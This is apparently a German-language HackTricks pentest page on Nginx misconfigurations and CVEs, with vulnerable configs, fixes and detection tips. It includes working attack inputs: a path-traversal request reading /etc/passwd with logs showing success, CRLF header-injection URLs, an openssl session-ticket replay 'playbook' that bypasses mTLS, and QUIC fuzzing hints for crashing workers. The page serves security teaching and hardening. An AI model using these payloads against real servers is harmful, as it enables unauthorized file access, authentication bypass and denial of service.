Nginx

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Fehlende root location

Beim Konfigurieren des Nginx-Servers ist die root directive entscheidend, da sie das Basisverzeichnis definiert, aus dem Dateien ausgeliefert werden. Betrachten Sie das folgende Beispiel:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

In dieser Konfiguration ist /etc/nginx als root-Verzeichnis festgelegt. Diese Einrichtung erlaubt den Zugriff auf Dateien innerhalb des angegebenen root-Verzeichnisses, wie z. B. /hello.txt. Es ist jedoch wichtig zu beachten, dass nur ein spezifischer location (/hello.txt) definiert ist. Es gibt keine Konfiguration für den Root-Pfad (location / {...}). Dieses Fehlen bedeutet, dass die root-Direktive global greift und Anfragen an den Root-Pfad / Dateien unter /etc/nginx zugänglich machen.

Ein kritischer Sicherheitsaspekt ergibt sich aus dieser Konfiguration. Eine einfache GET-Anfrage, wie GET /nginx.conf, könnte durch Ausliefern der Nginx-Konfigurationsdatei unter /etc/nginx/nginx.conf sensible Informationen offenlegen. Das Setzen des root auf ein weniger sensibles Verzeichnis, wie /etc, könnte dieses Risiko verringern, erlaubt jedoch möglicherweise weiterhin unbeabsichtigten Zugriff auf andere kritische Dateien, einschließlich weiterer Konfigurationsdateien, Access-Logs und sogar verschlüsselter Zugangsdaten, die für HTTP basic authentication verwendet werden.

Alias LFI Fehlkonfiguration

In den Konfigurationsdateien von Nginx ist eine genaue Überprüfung der “location”-Direktiven geboten. Eine Schwachstelle, bekannt als Local File Inclusion (LFI), kann unbeabsichtigt durch eine Konfiguration eingeführt werden, die der folgenden ähnelt:

location /imgs {
alias /path/images/;
}

Diese Konfiguration ist anfällig für LFI-Angriffe, weil der Server Anfragen wie /imgs../flag.txt so interpretiert, dass versucht wird, auf Dateien außerhalb des vorgesehenen Verzeichnisses zuzugreifen, was effektiv zu /path/images/../flag.txt aufgelöst wird. Dieser Fehler erlaubt es Angreifern, Dateien vom Dateisystem des Servers abzurufen, die über das Web nicht zugänglich sein sollten.

Um diese Schwachstelle zu beheben, sollte die Konfiguration wie folgt angepasst werden:

location /imgs/ {
alias /path/images/;
}

Mehr Informationen: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix-Tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Unsichere Pfadbeschränkung

Sieh dir die folgende Seite an, um zu lernen, wie man Direktiven wie diese umgeht:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Unsichere Variablenverwendung / HTTP Request Splitting

Caution

Verwundbare Variablen $uri und $document_uri und dies kann behoben werden, indem man sie durch $request_uri ersetzt.

Ein Regex kann ebenfalls verwundbar sein, z. B.:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

Eine Schwachstelle in der Nginx-Konfiguration wird im folgenden Beispiel demonstriert:

location / {
return 302 https://example.com$uri;
}

\r (Carriage Return) und \n (Line Feed) signalisieren Zeilenumbruchzeichen in HTTP-Anfragen, und ihre URL-codierten Formen werden als %0d%0a dargestellt. Das Einfügen dieser Zeichen in eine Anfrage (z. B. http://localhost/%0d%0aDetectify:%20clrf) an einen falsch konfigurierten Server führt dazu, dass der Server einen neuen Header namens Detectify ausgibt. Dies geschieht, weil die Variable $uri die URL-codierten Zeilenumbruchzeichen dekodiert, was zu einem unerwarteten Header in der Antwort führt:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Erfahre mehr über die Risiken von CRLF injection und response splitting unter https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Diese Technik wird auch in diesem Vortrag erklärt mit einigen verwundbaren Beispielen und Erkennungsmechanismen. Zum Beispiel, um diese Fehlkonfiguration aus einer Blackbox-Perspektive zu entdecken, könntest du folgende Requests senden:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Ist die Anwendung verwundbar, liefert die erste Anfrage eine Antwort, da “X” jede HTTP-Methode sein kann, und die zweite Anfrage verursacht einen Fehler, da H keine gültige Methode ist. Der Server würde also etwas wie GET / H HTTP/1.1 erhalten, was den Fehler auslöst.

Weitere Erkennungsbeispiele wären:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Einige in dem Vortrag gezeigte verwundbare Konfigurationen waren:

  • Beachte, wie $uri unverändert in der finalen URL gesetzt wird
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Beachte, wie erneut $uri in der URL vorkommt (dieses Mal innerhalb eines Parameters)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Jetzt in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Beliebige Variable

Es wurde entdeckt, dass vom Benutzer bereitgestellte Daten unter bestimmten Umständen als Nginx-Variable behandelt werden könnten. Die Ursache dieses Verhaltens bleibt einigermaßen rätselhaft, ist jedoch weder selten noch einfach zu verifizieren. Diese Anomalie wurde in einem Sicherheitsbericht auf HackerOne hervorgehoben, der hier eingesehen werden kann. Weitere Untersuchungen der Fehlermeldung führten zur Feststellung, dass es innerhalb des SSI filter module of Nginx’s codebase auftritt, wodurch Server Side Includes (SSI) als Ursache ausgemacht wurden.

Um diese Fehlkonfiguration zu erkennen, kann der folgende Befehl ausgeführt werden, der das Setzen eines Referer-Headers beinhaltet, um die Ausgabe von Variablen zu testen:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Scans nach dieser Fehlkonfiguration auf verschiedenen Systemen zeigten mehrere Fälle, in denen Nginx-Variablen von einem Benutzer ausgegeben werden konnten. Allerdings deutet die Abnahme der Anzahl verwundbarer Instanzen darauf hin, dass Maßnahmen zur Behebung dieses Problems teilweise erfolgreich waren.

Verwendung von try_files mit $URI$ARGS-Variablen

Die folgende Nginx-Fehlkonfiguration kann zu einer LFI-Schwachstelle führen:

location / {
try_files $uri$args $uri$args/ /index.html;
}

In unserer Konfiguration haben wir die Direktive try_files, die verwendet wird, um das Vorhandensein von Dateien in einer angegebenen Reihenfolge zu prüfen. Nginx liefert die erste, die es findet. Die grundlegende Syntax der Direktive try_files ist wie folgt:

try_files file1 file2 ... fileN fallback;

Nginx überprüft die Existenz jeder Datei in der angegebenen Reihenfolge. Existiert eine Datei, wird sie sofort ausgeliefert. Wenn keine der angegebenen Dateien existiert, wird die Anfrage an die Fallback-Option weitergegeben, die eine andere URI oder eine bestimmte Fehlerseite sein kann.

Wenn jedoch $uri$args-Variablen in dieser Direktive verwendet werden, versucht Nginx nach einer Datei zu suchen, die der angeforderten URI kombiniert mit den Query-String-Parametern entspricht. Daher können wir diese Konfiguration ausnutzen:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Mit folgendem payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Mit unserem payload entkommen wir dem root-Verzeichnis (in der Nginx-Konfiguration definiert) und laden die Datei /etc/passwd. In den Debug-Logs können wir beobachten, wie Nginx versucht, die Dateien zu öffnen:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC gegen Nginx mit der oben erwähnten Konfiguration: Beispiel Burp-Anfrage

Rohes Auslesen von Backend-Antworten

Nginx bietet über proxy_pass eine Funktion, die das Abfangen von vom Backend erzeugten Fehlern und HTTP-Headern ermöglicht, um interne Fehlermeldungen und Header zu verbergen. Dies wird dadurch erreicht, dass Nginx bei Backend-Fehlern eigene Fehlerseiten ausliefert. Allerdings treten Probleme auf, wenn Nginx auf eine ungültige HTTP-Anfrage stößt. Eine solche Anfrage wird unverändert an das Backend weitergeleitet, und die rohe Antwort des Backends wird dann ohne Nginx-Intervention direkt an den Client gesendet.

Betrachten wir ein Beispiel-Szenario mit einer uWSGI-Anwendung:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Um dies zu verwalten, werden bestimmte Direktiven in der Nginx-Konfiguration verwendet:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Diese Direktive erlaubt Nginx, für Backend-Antworten mit einem Statuscode größer als 300 eine benutzerdefinierte Antwort auszugeben. Sie stellt sicher, dass beispielsweise bei unserer uWSGI-Anwendung eine 500 Error-Antwort von Nginx abgefangen und verarbeitet wird.
  • proxy_hide_header: Wie der Name schon sagt, blendet diese Direktive bestimmte HTTP-Header gegenüber dem Client aus und erhöht so Privatsphäre und Sicherheit.

Wenn eine gültige GET-Anfrage erfolgt, verarbeitet Nginx sie normal und gibt eine standardmäßige Fehlerantwort zurück, ohne geheime Header preiszugeben. Bei einer ungültigen HTTP-Anfrage wird dieser Mechanismus jedoch umgangen, was zur Offenlegung roher Backend-Antworten führt, inklusive geheimer Header und Fehlermeldungen.

merge_slashes auf off

Standardmäßig ist Nginx’ merge_slashes directive auf on gesetzt, wodurch mehrere aufeinanderfolgende Schrägstriche in einer URL zu einem einzigen zusammengefasst werden. Diese Funktion, obwohl sie die URL-Verarbeitung vereinfacht, kann unbeabsichtigt Schwachstellen in hinter Nginx liegenden Anwendungen verschleiern, insbesondere solche, die für local file inclusion (LFI) attacks anfällig sind. Security experts Danny Robinson and Rotem Bar haben die potenziellen Risiken dieses Standardverhaltens hervorgehoben, insbesondere wenn Nginx als reverse-proxy fungiert.

Um solche Risiken zu reduzieren, wird empfohlen, die merge_slashes directive auf off zu setzen für Anwendungen, die für diese Schwachstellen anfällig sind. Dadurch stellt man sicher, dass Nginx Anfragen an die Anwendung weiterleitet, ohne die URL-Struktur zu verändern, und somit keine zugrunde liegenden Sicherheitsprobleme kaschiert.

For more information check Danny Robinson and Rotem Bar.

Maclicious Response-Header

Wie in this writeup gezeigt, gibt es bestimmte Header, die, wenn sie in der Antwort des Webservers vorhanden sind, das Verhalten des Nginx-Proxys verändern. Sie können sie in the docs prüfen:

  • X-Accel-Redirect: Weist Nginx an, eine Anfrage intern an einen bestimmten Ort weiterzuleiten.
  • X-Accel-Buffering: Steuert, ob Nginx die Antwort puffern soll oder nicht.
  • X-Accel-Charset: Legt die Zeichencodierung für die Antwort bei Verwendung von X-Accel-Redirect fest.
  • X-Accel-Expires: Legt die Ablaufzeit für die Antwort bei Verwendung von X-Accel-Redirect fest.
  • X-Accel-Limit-Rate: Begrenzt die Übertragungsrate für Antworten bei Verwendung von X-Accel-Redirect.

Zum Beispiel verursacht der Header X-Accel-Redirect eine interne Weiterleitung in nginx. Bei einer nginx-Konfiguration mit beispielsweise root / und einer Antwort des Webservers mit X-Accel-Redirect: .env wird nginx den Inhalt von /.env ausliefern (Path Traversal).

Standardwert im map-Direktiv

In der Nginx-Konfiguration spielt die map-Direktive häufig eine Rolle bei der Zugriffssteuerung. Ein häufiger Fehler ist es, keinen Standardwert anzugeben, was zu unbefugtem Zugriff führen kann. Zum Beispiel:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Ohne ein default kann ein bösartiger Benutzer die Sicherheit umgehen, indem er eine nicht definierte URI innerhalb von /map-poc aufruft. The Nginx manual empfiehlt, einen Standardwert zu setzen, um solche Probleme zu vermeiden.

DNS Spoofing Schwachstelle

DNS Spoofing gegen Nginx ist unter bestimmten Bedingungen möglich. Wenn ein Angreifer den DNS-Server kennt, den Nginx verwendet, und seine DNS-Anfragen abfangen kann, kann er DNS-Einträge fälschen. Diese Methode ist jedoch wirkungslos, wenn Nginx so konfiguriert ist, dass es localhost (127.0.0.1) für die DNS-Auflösung verwendet. Nginx erlaubt das Festlegen eines DNS-Servers wie folgt:

resolver 8.8.8.8;

proxy_pass und internal Direktiven

Die proxy_pass Direktive wird verwendet, um Anfragen an andere Server weiterzuleiten, entweder intern oder extern. Die internal Direktive stellt sicher, dass bestimmte Locations nur innerhalb von Nginx zugänglich sind. Obwohl diese Direktiven an sich keine Schwachstellen sind, erfordert ihre Konfiguration eine sorgfältige Prüfung, um Sicherheitslücken zu vermeiden.

proxy_set_header Upgrade & Connection

Wenn der nginx-Server so konfiguriert ist, dass die Upgrade- und Connection-Header weitergereicht werden, könnte ein h2c Smuggling attack durchgeführt werden, um auf geschützte/interne Endpunkte zuzugreifen.

Caution

Diese Schwachstelle würde einem Angreifer erlauben, eine direkte Verbindung mit dem proxy_pass-Endpoint (http://backend:9999 in diesem Fall) herzustellen, deren Inhalt nicht von nginx überprüft wird.

Beispiel einer verwundbaren Konfiguration, um /flag zu stehlen, von here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Beachte, dass selbst wenn das proxy_pass auf einen bestimmten Pfad wie http://backend:9999/socket.io zeigt, die Verbindung mit http://backend:9999 hergestellt wird, sodass du jeden anderen Pfad innerhalb dieses internen Endpunkts kontaktieren kannst. Es spielt also keine Rolle, ob ein Pfad in der URL von proxy_pass angegeben ist.

HTTP/3 QUIC Modul remote DoS & leak (2024)

Im Jahr 2024 hat Nginx CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 und CVE-2024-35200 veröffentlicht, die zeigen, dass eine single hostile QUIC session Worker-Prozesse crashen oder leak memory kann, wenn das experimentelle ngx_http_v3_module kompiliert ist und ein listen ... quic Socket exponiert wird. Betroffene Builds sind 1.25.0–1.25.5 und 1.26.0; 1.27.0/1.26.1 enthalten die Fixes. Die memory disclosure (CVE-2024-34161) erfordert zusätzlich MTUs größer als 4096 Bytes, damit sensitive Daten sichtbar werden (Details im unten referenzierten nginx Advisory 2024).

Recon & exploitation hints

  • HTTP/3 ist opt-in, also scanne nach Alt-Svc: h3=":443"-Antworten oder brute-force UDP/443 QUIC handshakes; nach Bestätigung fuzz the handshake und STREAM frames mit custom quiche-client/nghttp3 payloads, um Worker-Crashes auszulösen und log leakage zu erzwingen.
  • Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Eine Advisory vom Februar 2025 gab bekannt, dass nginx 1.11.4–1.27.3, gebaut mit OpenSSL, das reusing a TLS 1.3 session von einem name-based virtual host innerhalb eines anderen erlaubt. Dadurch kann ein Client, der mit einem zertifikatfreien Host verhandelt hat, das ticket/PSK replayen, um in einen vhost zu wechseln, der mit ssl_verify_client on; geschützt ist, und mTLS vollständig umgehen. Der Bug tritt immer dann auf, wenn mehrere virtual hosts denselben TLS 1.3 session cache und tickets teilen (siehe die 2025 nginx advisory weiter unten).

Angreifer-Playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Wenn das Ziel verwundbar ist, wird der zweite Handshake abgeschlossen, ohne ein Client-Zertifikat vorzulegen, wodurch geschützte location-Blöcke offengelegt werden.

Was zu prüfen ist

  • Gemischte server_name-Blöcke, die ssl_session_cache shared:SSL sowie ssl_session_tickets on; gemeinsam nutzen.
  • Admin-/API-Blöcke, die mTLS erwarten, aber gemeinsame Session-Cache/-Ticket-Einstellungen von öffentlichen Hosts erben.
  • Automation, die TLS 1.3 session resumption global aktiviert (z. B. Ansible roles), ohne vhost-Isolation zu berücksichtigen.

HTTP/2 Rapid Reset-Resilienz (CVE-2023-44487-Verhalten)

Der HTTP/2 Rapid Reset attack (CVE-2023-44487) betrifft nginx weiterhin, wenn Betreiber keepalive_requests oder http2_max_concurrent_streams über die Defaults hinaus erhöhen: ein Angreifer öffnet eine HTTP/2-Verbindung, flutet sie mit Tausenden von Streams und sendet dann sofort RST_STREAM-Frames, sodass die Concurrency-Grenze nie erreicht wird, während die CPU weiterhin an der Tear-down-Logik arbeitet. Die nginx-Defaults (128 concurrent streams, 1000 keepalive requests) halten den blast radius klein; das erhebliche Anheben dieser Grenzen macht es trivial, workers selbst von einem einzelnen Client zu verknappen (siehe das unten referenzierte F5 write-up).

Erkennungstipps

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosts, die ungewöhnlich hohe Werte für diese Direktiven offenbaren, sind ideale Ziele: Ein HTTP/2-Client kann in einer Schleife Streams erstellen und sofort RST_STREAM-Frames senden, um die CPU auszulasten, ohne die concurrency cap auszulösen.

Probieren Sie es selbst

Detectify hat ein GitHub-Repository erstellt, in dem Sie mit Docker einen eigenen verwundbaren Nginx-Testserver einrichten können, der einige der in diesem Artikel besprochenen Fehlkonfigurationen enthält, und diese selbst finden können!

https://github.com/detectify/vulnerable-nginx

Statische Analyzer-Tools

GIXY

Gixy ist ein Tool zur Analyse von Nginx-Konfigurationen. Hauptziel von Gixy ist es, Sicherheitsfehlkonfigurationen zu verhindern und die Erkennung von Schwachstellen zu automatisieren.

Nginxpwner

Nginxpwner ist ein einfaches Tool, um nach häufigen Nginx-Fehlkonfigurationen und Schwachstellen zu suchen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks